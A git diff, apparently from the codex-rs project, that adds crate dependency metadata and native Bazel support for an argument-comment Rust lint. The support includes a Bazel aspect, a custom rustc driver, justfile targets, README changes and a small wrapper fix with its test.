print\",\"xselinux\",\"xtest\",\"xv\",\"xvmc\"],\"allow-unsafe-code\":[\"libc\",\"as-raw-xcb-connection\"],\"composite\":[\"x11rb-protocol/composite\",\"xfixes\"],\"cursor\":[\"render\",\"resource_manager\",\"xcursor\"],\"damage\":[\"x11rb-protocol/damage\",\"xfixes\"],\"dbe\":[\"x11rb-protocol/dbe\"],\"dl-libxcb\":[\"allow-unsafe-code\",\"libloading\",\"once_cell\"],\"dpms\":[\"x11rb-protocol/dpms\"],\"dri2\":[\"x11rb-protocol/dri2\"],\"dri3\":[\"x11rb-protocol/dri3\"],\"extra-traits\":[\"x11rb-protocol/extra-traits\"],\"glx\":[\"x11rb-protocol/glx\"],\"image\":[],\"present\":[\"x11rb-protocol/present\",\"randr\",\"xfixes\",\"sync\"],\"randr\":[\"x11rb-protocol/randr\",\"render\"],\"record\":[\"x11rb-protocol/record\"],\"render\":[\"x11rb-protocol/render\"],\"request-parsing\":[\"x11rb-protocol/request-parsing\"],\"res\":[\"x11rb-protocol/res\"],\"resource_manager\":[\"x11rb-protocol/resource_manager\"],\"screensaver\":[\"x11rb-protocol/screensaver\"],\"shape\":[\"x11rb-protocol/shape\"],\"shm\":[\"x11rb-protocol/shm\"],\"sync\":[\"x11rb-protocol/sync\"],\"xevie\":[\"x11rb-protocol/xevie\"],\"xf86dri\":[\"x11rb-protocol/xf86dri\"],\"xf86vidmode\":[\"x11rb-protocol/xf86vidmode\"],\"xfixes\":[\"x11rb-protocol/xfixes\",\"render\",\"shape\"],\"xinerama\":[\"x11rb-protocol/xinerama\"],\"xinput\":[\"x11rb-protocol/xinput\",\"xfixes\"],\"xkb\":[\"x11rb-protocol/xkb\"],\"xprint\":[\"x11rb-protocol/xprint\"],\"xselinux\":[\"x11rb-protocol/xselinux\"],\"xtest\":[\"x11rb-protocol/xtest\"],\"xv\":[\"x11rb-protocol/xv\",\"shm\"],\"xvmc\":[\"x11rb-protocol/xvmc\",\"xv\"]}}", "x25519-dalek_2.0.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"bincode\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"default_features\":false,\"name\":\"curve25519-dalek\",\"req\":\"^4\"},{\"default_features\":false,\"name\":\"rand_core\",\"req\":\"^0.6\"},{\"default_features\":false,\"features\":[\"getrandom\"],\"kind\":\"dev\",\"name\":\"rand_core\",\"req\":\"^0.6\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"zeroize_derive\"],\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"alloc\":[\"curve25519-dalek/alloc\",\"serde?/alloc\",\"zeroize?/alloc\"],\"default\":[\"alloc\",\"precomputed-tables\",\"zeroize\"],\"getrandom\":[\"rand_core/getrandom\"],\"precomputed-tables\":[\"curve25519-dalek/precomputed-tables\"],\"reusable_secrets\":[],\"serde\":[\"dep:serde\",\"curve25519-dalek/serde\"],\"static_secrets\":[],\"zeroize\":[\"dep:zeroize\",\"curve25519-dalek/zeroize\"]}}", "x509-parser_0.18.1": "{\"dependencies\":[{\"features\":[\"datetime\"],\"name\":\"asn1-rs\",\"req\":\"^0.7.0\"},{\"name\":\"aws-lc-rs\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"data-encoding\",\"req\":\"^2.2.1\"},{\"features\":[\"bigint\"],\"name\":\"der-parser\",\"req\":\"^10.0\"},{\"name\":\"lazy_static\",\"req\":\"^1.4\"},{\"name\":\"nom\",\"req\":\"^7.0\"},{\"features\":[\"crypto\",\"x509\",\"x962\"],\"name\":\"oid-registry\",\"req\":\"^0.8.1\"},{\"name\":\"ring\",\"optional\":true,\"req\":\"^0.17.12\"},{\"name\":\"rusticata-macros\",\"req\":\"^4.0\"},{\"name\":\"thiserror\",\"req\":\"^2.0\"},{\"features\":[\"formatting\"],\"name\":\"time\",\"req\":\"^0.3.35\"}],\"features\":{\"default\":[],\"validate\":[],\"verify\":[\"ring\"],\"verify-aws\":[\"aws-lc-rs\"]}}", + "xattr_1.6.1": "{\"dependencies\":[{\"name\":\"libc\",\"req\":\"^0.2.150\",\"target\":\"cfg(any(target_os = \\\"freebsd\\\", target_os = \\\"netbsd\\\"))\"},{\"default_features\":false,\"features\":[\"fs\",\"std\"],\"name\":\"rustix\",\"req\":\"^1.0.0\",\"target\":\"cfg(any(target_os = \\\"android\\\", target_os = \\\"linux\\\", target_os = \\\"macos\\\", target_os = \\\"hurd\\\"))\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"default\":[\"unsupported\"],\"unsupported\":[]}}", "xdg-home_1.3.0": "{\"dependencies\":[{\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"features\":[\"Win32_Foundation\",\"Win32_UI_Shell\",\"Win32_System_Com\"],\"name\":\"windows-sys\",\"req\":\"^0.59\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "xz2_0.1.7": "{\"dependencies\":[{\"name\":\"futures\",\"optional\":true,\"req\":\"^0.1.26\"},{\"name\":\"lzma-sys\",\"req\":\"^0.1.18\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8.0\"},{\"kind\":\"dev\",\"name\":\"tokio-core\",\"req\":\"^0.1.17\"},{\"name\":\"tokio-io\",\"optional\":true,\"req\":\"^0.1.12\"}],\"features\":{\"static\":[\"lzma-sys/static\"],\"tokio\":[\"tokio-io\",\"futures\"]}}", "yaml-rust_0.4.5": "{\"dependencies\":[{\"name\":\"linked-hash-map\",\"req\":\"^0.5.3\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.9\"}],\"features\":{}}", @@ -1561,6 +1624,7 @@ "zerovec_0.11.5": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"databake\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.220\"},{\"default_features\":false,\"features\":[\"xxhash64\"],\"name\":\"twox-hash\",\"optional\":true,\"req\":\"^2.0.0\"},{\"default_features\":false,\"name\":\"yoke\",\"optional\":true,\"req\":\"^0.8.0\"},{\"default_features\":false,\"name\":\"zerofrom\",\"req\":\"^0.1.3\"},{\"default_features\":false,\"name\":\"zerovec-derive\",\"optional\":true,\"req\":\"^0.11.1\"}],\"features\":{\"alloc\":[\"serde?/alloc\"],\"databake\":[\"dep:databake\"],\"derive\":[\"dep:zerovec-derive\"],\"hashmap\":[\"dep:twox-hash\",\"alloc\"],\"serde\":[\"dep:serde\"],\"std\":[],\"yoke\":[\"dep:yoke\"]}}", "zip_2.4.2": "{\"dependencies\":[{\"name\":\"aes\",\"optional\":true,\"req\":\"^0.8\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.95\"},{\"features\":[\"derive\"],\"name\":\"arbitrary\",\"req\":\"^1.4.1\",\"target\":\"cfg(fuzzing)\"},{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1.5\"},{\"name\":\"bzip2\",\"optional\":true,\"req\":\"^0.5.0\"},{\"name\":\"chrono\",\"optional\":true,\"req\":\"^0.4\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"=4.4.18\"},{\"name\":\"constant_time_eq\",\"optional\":true,\"req\":\"^0.3\"},{\"name\":\"crc32fast\",\"req\":\"^1.4\"},{\"name\":\"crossbeam-utils\",\"req\":\"^0.8.21\",\"target\":\"cfg(any(all(target_arch = \\\"arm\\\", target_pointer_width = \\\"32\\\"), target_arch = \\\"mips\\\", target_arch = \\\"powerpc\\\"))\"},{\"name\":\"deflate64\",\"optional\":true,\"req\":\"^0.1.9\"},{\"default_features\":false,\"name\":\"displaydoc\",\"req\":\"^0.2\"},{\"default_features\":false,\"name\":\"flate2\",\"optional\":true,\"req\":\"^1.0\"},{\"features\":[\"wasm_js\",\"std\"],\"name\":\"getrandom\",\"optional\":true,\"req\":\"^0.3.1\"},{\"features\":[\"wasm_js\",\"std\"],\"kind\":\"dev\",\"name\":\"getrandom\",\"req\":\"^0.3.1\"},{\"features\":[\"reset\"],\"name\":\"hmac\",\"optional\":true,\"req\":\"^0.12\"},{\"name\":\"indexmap\",\"req\":\"^2\"},{\"default_features\":false,\"name\":\"lzma-rs\",\"optional\":true,\"req\":\"^0.3\"},{\"name\":\"memchr\",\"req\":\"^2.7\"},{\"default_features\":false,\"name\":\"nt-time\",\"optional\":true,\"req\":\"^0.10.6\"},{\"name\":\"pbkdf2\",\"optional\":true,\"req\":\"^0.12\"},{\"name\":\"sha1\",\"optional\":true,\"req\":\"^0.10\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.15\"},{\"name\":\"thiserror\",\"req\":\"^2\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"time\",\"optional\":true,\"req\":\"^0.3.37\"},{\"default_features\":false,\"features\":[\"formatting\",\"macros\"],\"kind\":\"dev\",\"name\":\"time\",\"req\":\"^0.3.37\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5\"},{\"name\":\"xz2\",\"optional\":true,\"req\":\"^0.1.7\"},{\"features\":[\"zeroize_derive\"],\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1.8\"},{\"name\":\"zopfli\",\"optional\":true,\"req\":\"^0.8\"},{\"default_features\":false,\"name\":\"zstd\",\"optional\":true,\"req\":\"^0.13\"}],\"features\":{\"_all-features\":[],\"_deflate-any\":[],\"aes-crypto\":[\"aes\",\"constant_time_eq\",\"hmac\",\"pbkdf2\",\"sha1\",\"getrandom\",\"zeroize\"],\"chrono\":[\"chrono/default\"],\"default\":[\"aes-crypto\",\"bzip2\",\"deflate64\",\"deflate\",\"lzma\",\"time\",\"zstd\",\"xz\"],\"deflate\":[\"flate2/rust_backend\",\"deflate-zopfli\",\"deflate-flate2\"],\"deflate-flate2\":[\"_deflate-any\"],\"deflate-miniz\":[\"deflate\",\"deflate-flate2\"],\"deflate-zlib\":[\"flate2/zlib\",\"deflate-flate2\"],\"deflate-zlib-ng\":[\"flate2/zlib-ng\",\"deflate-flate2\"],\"deflate-zopfli\":[\"zopfli\",\"_deflate-any\"],\"lzma\":[\"lzma-rs/stream\"],\"nt-time\":[\"dep:nt-time\"],\"unreserved\":[],\"xz\":[\"dep:xz2\"]}}", "zmij_1.0.19": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.8\",\"target\":\"cfg(not(miri))\"},{\"name\":\"no-panic\",\"optional\":true,\"req\":\"^0.1.36\"},{\"kind\":\"dev\",\"name\":\"num-bigint\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"num-integer\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"num_cpus\",\"req\":\"^1.8\"},{\"kind\":\"dev\",\"name\":\"opt-level\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"ryu\",\"req\":\"^1\"}],\"features\":{}}", + "zmij_1.0.21": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.8\",\"target\":\"cfg(not(miri))\"},{\"name\":\"no-panic\",\"optional\":true,\"req\":\"^0.1.36\"},{\"kind\":\"dev\",\"name\":\"num-bigint\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"num-integer\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"num_cpus\",\"req\":\"^1.8\"},{\"kind\":\"dev\",\"name\":\"opt-level\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.10\"},{\"kind\":\"dev\",\"name\":\"ryu\",\"req\":\"^1\"}],\"features\":{}}", "zoneinfo64_0.2.1": "{\"dependencies\":[{\"default_features\":false,\"name\":\"calendrical_calculations\",\"req\":\"^0.2.3\"},{\"name\":\"chrono\",\"optional\":true,\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"chrono-tz\",\"req\":\"^0.10.4\"},{\"default_features\":false,\"name\":\"icu_locale_core\",\"req\":\"^2.1.0\"},{\"kind\":\"dev\",\"name\":\"itertools\",\"req\":\"^0.14.0\"},{\"default_features\":false,\"features\":[\"tzdb-bundle-always\",\"std\"],\"kind\":\"dev\",\"name\":\"jiff\",\"req\":\"^0.2.15\"},{\"default_features\":false,\"name\":\"potential_utf\",\"req\":\"^0.1.3\"},{\"default_features\":false,\"name\":\"resb\",\"req\":\"^0.1.0\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"req\":\"^1.0.220\"}],\"features\":{\"chrono\":[\"dep:chrono\"]}}", "zopfli_0.8.3": "{\"dependencies\":[{\"name\":\"bumpalo\",\"req\":\"^3.19.0\"},{\"default_features\":false,\"name\":\"crc32fast\",\"optional\":true,\"req\":\"^1.5.0\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.28\"},{\"kind\":\"dev\",\"name\":\"miniz_oxide\",\"req\":\"^0.8.9\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.7.0\"},{\"kind\":\"dev\",\"name\":\"proptest-derive\",\"req\":\"^0.6.0\"},{\"default_features\":false,\"name\":\"simd-adler32\",\"optional\":true,\"req\":\"^0.3.7\"}],\"features\":{\"default\":[\"gzip\",\"std\",\"zlib\"],\"gzip\":[\"dep:crc32fast\"],\"nightly\":[\"crc32fast?/nightly\"],\"std\":[\"crc32fast?/std\",\"dep:log\",\"simd-adler32?/std\"],\"zlib\":[\"dep:simd-adler32\"]}}", "zstd-safe_7.2.4": "{\"dependencies\":[{\"default_features\":false,\"name\":\"zstd-sys\",\"req\":\"^2.0.15\"}],\"features\":{\"arrays\":[],\"bindgen\":[\"zstd-sys/bindgen\"],\"debug\":[\"zstd-sys/debug\"],\"default\":[\"legacy\",\"arrays\",\"zdict_builder\"],\"doc-cfg\":[],\"experimental\":[\"zstd-sys/experimental\"],\"fat-lto\":[\"zstd-sys/fat-lto\"],\"legacy\":[\"zstd-sys/legacy\"],\"no_asm\":[\"zstd-sys/no_asm\"],\"pkg-config\":[\"zstd-sys/pkg-config\"],\"seekable\":[\"zstd-sys/seekable\"],\"std\":[\"zstd-sys/std\"],\"thin\":[\"zstd-sys/thin\"],\"thin-lto\":[\"zstd-sys/thin-lto\"],\"zdict_builder\":[\"zstd-sys/zdict_builder\"],\"zstdmt\":[\"zstd-sys/zstdmt\"]}}", diff --git a/codex-rs/BUILD.bazel b/codex-rs/BUILD.bazel index b6711d9b81..66c7ebcb61 100644 --- a/codex-rs/BUILD.bazel +++ b/codex-rs/BUILD.bazel @@ -2,3 +2,17 @@ exports_files([ "clippy.toml", "node-version.txt", ]) + +filegroup( + name = "workspace-files", + srcs = glob( + [ + "*", + ".cargo/**", + ], + exclude = [ + "BUILD.bazel", + ], + ), + visibility = ["//visibility:public"], +) diff --git a/defs.bzl b/defs.bzl index 02cbbc6295..d23398c8fd 100644 --- a/defs.bzl +++ b/defs.bzl @@ -57,6 +57,9 @@ def _workspace_root_test_impl(ctx): ) runfiles = ctx.runfiles(files = [test_bin, workspace_root_marker]).merge(ctx.attr.test_bin[DefaultInfo].default_runfiles) + for data_dep in ctx.attr.data: + runfiles = runfiles.merge(ctx.runfiles(files = data_dep[DefaultInfo].files.to_list())) + runfiles = runfiles.merge(data_dep[DefaultInfo].default_runfiles) return [ DefaultInfo( @@ -73,6 +76,9 @@ workspace_root_test = rule( implementation = _workspace_root_test_impl, test = True, attrs = { + "data": attr.label_list( + allow_files = True, + ), "env": attr.string_dict(), "test_bin": attr.label( cfg = "target", @@ -157,10 +163,29 @@ def codex_rust_crate( "INSTA_SNAPSHOT_PATH": "src", } + native.filegroup( + name = "package-files", + srcs = native.glob( + ["**"], + exclude = [ + "**/BUILD.bazel", + "BUILD.bazel", + "target/**", + ], + allow_empty = True, + ), + visibility = ["//visibility:public"], + ) + rustc_env = { "BAZEL_PACKAGE": native.package_name(), } | rustc_env + manifest_relpath = native.package_name() + if manifest_relpath.startswith("codex-rs/"): + manifest_relpath = manifest_relpath[len("codex-rs/"):] + manifest_path = manifest_relpath + "/Cargo.toml" + binaries = DEP_DATA.get(native.package_name())["binaries"] lib_srcs = crate_srcs or native.glob(["src/**/*.rs"], exclude = binaries.values(), allow_empty = True) diff --git a/justfile b/justfile index 39a65df46d..a39d2dd6ba 100644 --- a/justfile +++ b/justfile @@ -67,13 +67,17 @@ bazel-lock-check: ./scripts/check-module-bazel-lock.sh bazel-test: - bazel test //... --keep_going + bazel test --test_tag_filters=-argument-comment-lint //... --keep_going bazel-clippy: bazel build --config=clippy -- //codex-rs/... -//codex-rs/v8-poc:all +[no-cd] +bazel-argument-comment-lint: + bazel build --config=argument-comment-lint -- //codex-rs/... + bazel-remote-test: - bazel test //... --config=remote --platforms=//:rbe --keep_going + bazel test --test_tag_filters=-argument-comment-lint //... --config=remote --platforms=//:rbe --keep_going build-for-release: bazel build //codex-rs/cli:release_binaries --config=remote @@ -97,7 +101,11 @@ write-hooks-schema: # Run the argument-comment Dylint checks across codex-rs. [no-cd] argument-comment-lint *args: - ./tools/argument-comment-lint/run-prebuilt-linter.py "$@" + if [ "$#" -eq 0 ]; then \ + bazel build --config=argument-comment-lint -- //codex-rs/...; \ + else \ + ./tools/argument-comment-lint/run-prebuilt-linter.py "$@"; \ + fi [no-cd] argument-comment-lint-from-source *args: diff --git a/tools/argument-comment-lint/BUILD.bazel b/tools/argument-comment-lint/BUILD.bazel new file mode 100644 index 0000000000..82d280e30e --- /dev/null +++ b/tools/argument-comment-lint/BUILD.bazel @@ -0,0 +1,32 @@ +load("@rules_rust//rust:defs.bzl", "rust_binary", "rust_library") + +exports_files(["lint_aspect.bzl"]) + +rust_library( + name = "argument-comment-lint-lib", + crate_name = "argument_comment_lint", + crate_features = ["bazel_native"], + crate_root = "src/lib.rs", + srcs = [ + "src/comment_parser.rs", + "src/lib.rs", + ], + edition = "2024", + deps = ["@argument_comment_lint_crates//:clippy_utils"], + tags = ["manual"], + visibility = ["//visibility:public"], +) + +rust_binary( + name = "argument-comment-lint-driver", + crate_name = "argument_comment_lint_driver", + crate_root = "driver.rs", + srcs = ["driver.rs"], + edition = "2024", + deps = [ + ":argument-comment-lint-lib", + "@zlib//:z", + ], + tags = ["manual"], + visibility = ["//visibility:public"], +) diff --git a/tools/argument-comment-lint/Cargo.toml b/tools/argument-comment-lint/Cargo.toml index e4b24694dd..db02b392f3 100644 --- a/tools/argument-comment-lint/Cargo.toml +++ b/tools/argument-comment-lint/Cargo.toml @@ -8,6 +8,9 @@ publish = false [lib] crate-type = ["cdylib"] +[features] +bazel_native = [] + [dependencies] clippy_utils = { git = "https://github.com/rust-lang/rust-clippy", rev = "20ce69b9a63bcd2756cd906fe0964d1e901e042a" } dylint_linting = "5.0.0" diff --git a/tools/argument-comment-lint/README.md b/tools/argument-comment-lint/README.md index 92b0739601..78e28f308f 100644 --- a/tools/argument-comment-lint/README.md +++ b/tools/argument-comment-lint/README.md @@ -85,9 +85,11 @@ rustup toolchain install nightly-2025-09-18 \ The checked-in DotSlash file lives at `tools/argument-comment-lint/argument-comment-lint`. `run-prebuilt-linter.py` resolves that file via `dotslash` and is the path used by -`just clippy`, `just argument-comment-lint`, and the Rust CI job. The -source-build path remains available in `run.py` for people -iterating on the lint crate itself. +targeted package runs such as `just argument-comment-lint -p codex-core`. +Repo-wide runs now go through a native Bazel aspect that invokes a custom +`rustc_driver` and reuses Bazel-managed Rust dependency metadata instead of +spawning `cargo dylint` once per crate. The source-build path remains available +in `run.py` for people iterating on the lint crate itself. The Unix archive layout is: @@ -126,15 +128,17 @@ If you are changing the lint crate itself, use the source-build wrapper: Run the lint against `codex-rs` from the repo root: ```bash +just argument-comment-lint +bazel build --config=argument-comment-lint -- //codex-rs/... ./tools/argument-comment-lint/run-prebuilt-linter.py -p codex-core just argument-comment-lint -p codex-core ``` -If no package selection is provided, `run-prebuilt-linter.py` defaults to checking the -`codex-rs` workspace with `--workspace --no-deps`. -For non-`--fix` runs, both wrappers also default the underlying Cargo -invocation to `--all-targets` unless you explicitly narrow the target set, so -workspace and package lint runs both cover test-only call sites by default. +If no package selection is provided, `just argument-comment-lint` now defaults +to the Bazel aspect path over `//codex-rs/...`. The Python wrappers remain the +package-scoped escape hatch and still default the underlying Cargo invocation +to `--all-targets` unless you explicitly narrow the target set, so targeted +wrapper runs cover test-only call sites by default. Repo runs also promote `uncommented_anonymous_literal_argument` to an error by default: diff --git a/tools/argument-comment-lint/driver.rs b/tools/argument-comment-lint/driver.rs new file mode 100644 index 0000000000..b6417d45fd --- /dev/null +++ b/tools/argument-comment-lint/driver.rs @@ -0,0 +1,43 @@ +#![feature(rustc_private)] + +extern crate rustc_driver; +extern crate rustc_interface; + +use std::env; +use std::ffi::OsString; +use std::path::Path; + +fn main() { + let mut callbacks = Callbacks; + let args = rustc_args(env::args_os().skip(1).collect()); + rustc_driver::run_compiler(&args, &mut callbacks); +} + +struct Callbacks; + +impl rustc_driver::Callbacks for Callbacks { + fn config(&mut self, config: &mut rustc_interface::Config) { + let previous = config.register_lints.take(); + config.register_lints = Some(Box::new(move |sess, lint_store| { + if let Some(previous) = &previous { + previous(sess, lint_store); + } + argument_comment_lint::register_lints(sess, lint_store); + })); + } +} + +fn rustc_args(args: Vec) -> Vec { + let mut rustc_args: Vec = args + .into_iter() + .map(|arg| arg.to_string_lossy().into_owned()) + .collect(); + if rustc_args.first().is_none_or(|arg| !is_rustc(arg)) { + rustc_args.insert(0, "rustc".to_string()); + } + rustc_args +} + +fn is_rustc(arg: &str) -> bool { + Path::new(arg).file_stem().and_then(|stem| stem.to_str()) == Some("rustc") +} diff --git a/tools/argument-comment-lint/lint_aspect.bzl b/tools/argument-comment-lint/lint_aspect.bzl new file mode 100644 index 0000000000..2f0878d9f8 --- /dev/null +++ b/tools/argument-comment-lint/lint_aspect.bzl @@ -0,0 +1,187 @@ +"""Bazel aspect for running argument-comment-lint on Rust targets.""" + +load("@rules_rust//rust:defs.bzl", "rust_common") +load("@rules_rust//rust/private:rust.bzl", "RUSTC_ATTRS") +load( + "@rules_rust//rust/private:rustc.bzl", + "collect_deps", + "collect_inputs", + "construct_arguments", +) +load( + "@rules_rust//rust/private:utils.bzl", + "determine_output_hash", + "find_cc_toolchain", + "find_toolchain", +) + +_STRICT_LINT_FLAGS = [ + "-Duncommented-anonymous-literal-argument", + "-Aunknown-lints", +] + +def _find_rustc_driver_library(toolchain): + for file in toolchain.rustc_lib.to_list(): + if file.basename.startswith("librustc_driver-") or file.basename.startswith("rustc_driver-"): + return file + return None + +def _prepend_runtime_path(env, key, path, separator): + previous = env.get(key) + env[key] = "{}{}{}".format(path, separator, previous) if previous else path + +def _set_driver_runtime_env(env, toolchain): + driver_library = _find_rustc_driver_library(toolchain) + if not driver_library: + return + + library_dir = driver_library.dirname + if driver_library.basename.endswith(".dll"): + _prepend_runtime_path(env, "PATH", library_dir, ";") + return + + # The lint driver runs in exec configuration. Under remote execution the + # exec OS can differ from the Rust target OS, so populate both Unix loader + # variables from the located driver library instead of keying off target_os. + _prepend_runtime_path(env, "LD_LIBRARY_PATH", library_dir, ":") + _prepend_runtime_path(env, "DYLD_LIBRARY_PATH", library_dir, ":") + +def _get_argument_comment_lint_ready_crate_info(target, aspect_ctx): + if target.label.workspace_root.startswith("external"): + return None + + if aspect_ctx: + ignore_tags = [ + "no_argument_comment_lint", + "no-lint", + "no_lint", + "nolint", + ] + for tag in aspect_ctx.rule.attr.tags: + if tag.replace("-", "_").lower() in ignore_tags: + return None + + if rust_common.crate_info in target: + return target[rust_common.crate_info] + if rust_common.test_crate_info in target: + return target[rust_common.test_crate_info].crate + return None + +def _rust_argument_comment_lint_aspect_impl(target, ctx): + if OutputGroupInfo in target and hasattr(target[OutputGroupInfo], "argument_comment_lint_checks"): + return [] + + crate_info = _get_argument_comment_lint_ready_crate_info(target, ctx) + if not crate_info: + return [] + + toolchain = find_toolchain(ctx) + cc_toolchain, feature_configuration = find_cc_toolchain(ctx) + + dep_info, build_info, _ = collect_deps( + deps = crate_info.deps.to_list(), + proc_macro_deps = crate_info.proc_macro_deps.to_list(), + aliases = crate_info.aliases, + ) + + compile_inputs, out_dir, build_env_files, build_flags_files, linkstamp_outs, ambiguous_libs = collect_inputs( + ctx, + ctx.rule.file, + ctx.rule.files, + depset([]), + toolchain, + cc_toolchain, + feature_configuration, + crate_info, + dep_info, + build_info, + [], + ) + + success_marker = ctx.actions.declare_file( + ctx.label.name + ".argument_comment_lint.ok", + sibling = crate_info.output, + ) + + args, env = construct_arguments( + ctx = ctx, + attr = ctx.rule.attr, + file = ctx.file, + toolchain = toolchain, + tool_path = ctx.executable._driver.path, + cc_toolchain = cc_toolchain, + feature_configuration = feature_configuration, + crate_info = crate_info, + dep_info = dep_info, + linkstamp_outs = linkstamp_outs, + ambiguous_libs = ambiguous_libs, + output_hash = determine_output_hash(crate_info.root, ctx.label), + rust_flags = [], + out_dir = out_dir, + build_env_files = build_env_files, + build_flags_files = build_flags_files, + emit = ["dep-info", "metadata"], + skip_expanding_rustc_env = True, + ) + + if crate_info.is_test: + args.rustc_flags.add("--test") + + args.process_wrapper_flags.add("--touch-file", success_marker) + args.rustc_flags.add_all(_STRICT_LINT_FLAGS) + _set_driver_runtime_env(env, toolchain) + + driver_runfiles = ctx.attr._driver[DefaultInfo].default_runfiles.files + action_inputs = depset( + transitive = [ + compile_inputs, + driver_runfiles, + toolchain.rustc_lib, + ], + ) + + ctx.actions.run( + executable = ctx.executable._process_wrapper, + inputs = action_inputs, + outputs = [success_marker], + env = env, + tools = [ctx.executable._driver], + execution_requirements = { + "no-sandbox": "1", + }, + arguments = args.all, + mnemonic = "ArgumentCommentLint", + progress_message = "ArgumentCommentLint %{label}", + toolchain = "@rules_rust//rust:toolchain_type", + ) + + return [OutputGroupInfo(argument_comment_lint_checks = depset([success_marker]))] + +rust_argument_comment_lint_aspect = aspect( + implementation = _rust_argument_comment_lint_aspect_impl, + fragments = ["cpp"], + attrs = { + "_driver": attr.label( + default = Label("//tools/argument-comment-lint:argument-comment-lint-driver"), + executable = True, + cfg = "exec", + ), + } | RUSTC_ATTRS, + toolchains = [ + str(Label("@rules_rust//rust:toolchain_type")), + config_common.toolchain_type("@bazel_tools//tools/cpp:toolchain_type", mandatory = False), + ], + required_providers = [ + [rust_common.crate_info], + [rust_common.test_crate_info], + ], + doc = """\ +Runs argument-comment-lint on Rust targets using Bazel's Rust dependency graph. + +Example: + +```output +$ bazel build --config=argument-comment-lint //codex-rs/... +``` +""", +) diff --git a/tools/argument-comment-lint/src/lib.rs b/tools/argument-comment-lint/src/lib.rs index fcd3f1bcd0..5586509f24 100644 --- a/tools/argument-comment-lint/src/lib.rs +++ b/tools/argument-comment-lint/src/lib.rs @@ -31,6 +31,7 @@ use rustc_span::Span; use crate::comment_parser::parse_argument_comment; use crate::comment_parser::parse_argument_comment_prefix; +#[cfg(not(feature = "bazel_native"))] dylint_linting::dylint_library!(); #[unsafe(no_mangle)] diff --git a/tools/argument-comment-lint/test_wrapper_common.py b/tools/argument-comment-lint/test_wrapper_common.py index a3a57dfe34..3da6da604b 100644 --- a/tools/argument-comment-lint/test_wrapper_common.py +++ b/tools/argument-comment-lint/test_wrapper_common.py @@ -83,6 +83,26 @@ class WrapperCommonTest(unittest.TestCase): ], ) + def test_explicit_package_manifest_does_not_force_workspace(self) -> None: + parsed = wrapper_common.parse_wrapper_args( + [ + "--manifest-path", + "/tmp/custom/Cargo.toml", + ] + ) + final_args = wrapper_common.build_final_args(parsed, Path("/repo/codex-rs/Cargo.toml")) + + self.assertEqual( + final_args, + [ + "--no-deps", + "--manifest-path", + "/tmp/custom/Cargo.toml", + "--", + "--all-targets", + ], + ) + if __name__ == "__main__": unittest.main() diff --git a/tools/argument-comment-lint/wrapper_common.py b/tools/argument-comment-lint/wrapper_common.py index 3202c22381..75e03ecfbe 100644 --- a/tools/argument-comment-lint/wrapper_common.py +++ b/tools/argument-comment-lint/wrapper_common.py @@ -107,7 +107,7 @@ def build_final_args(parsed: ParsedWrapperArgs, manifest_path: Path) -> list[str if not parsed.has_manifest_path: final_args.extend(["--manifest-path", str(manifest_path)]) - if not parsed.has_package_selection: + if not parsed.has_package_selection and not parsed.has_manifest_path: final_args.append("--workspace") if not parsed.has_no_deps: final_args.append("--no-deps") @@ -205,6 +205,9 @@ def ensure_source_prerequisites(env: MutableMapping[str, str]) -> None: def prefer_rustup_shims(env: MutableMapping[str, str]) -> None: + if env.get("CODEX_ARGUMENT_COMMENT_LINT_SKIP_RUSTUP_SHIMS") == "1": + return + rustup = shutil.which("rustup", path=env.get("PATH")) if rustup is None: return